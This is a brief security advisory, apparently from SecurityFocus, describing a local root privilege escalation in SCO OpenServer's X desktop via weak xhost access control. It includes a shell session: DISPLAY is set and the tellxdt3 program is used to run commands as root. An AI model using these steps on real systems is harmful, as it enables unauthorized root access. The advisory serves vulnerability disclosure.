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812 B
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17 lines
No EOL
812 B
Text
source: https://www.securityfocus.com/bid/2731/info
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OpenServer is a Unix based operating system distributed by Santa Cruz Operations.
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A problem in access control of the X server could allow a local user to gain elevated privileges. When the X Window System is started via the xhost script, insufficient xhost access control allows a user to execute commands on the desktop. This can be exploited by setting the display environment variable, and using the tellxdt3 program.
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This problem makes it possible for a local user to execute commands as root.
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$ pwd
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/usr/lib/X11/IXI/XDesktop/bin/i3sc0322
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$ DISPLAY=localhost:0
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$ export DISPLAY
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$ id
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uid=232(kevin) gid=101(supp) groups=101(supp),50(group)
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$ ./tellxdt3 /usr/bin/id
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*** Can't open message catalogue XDesktop3
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uid=0(root) gid=3(sys) groups=3(sys),1(other) |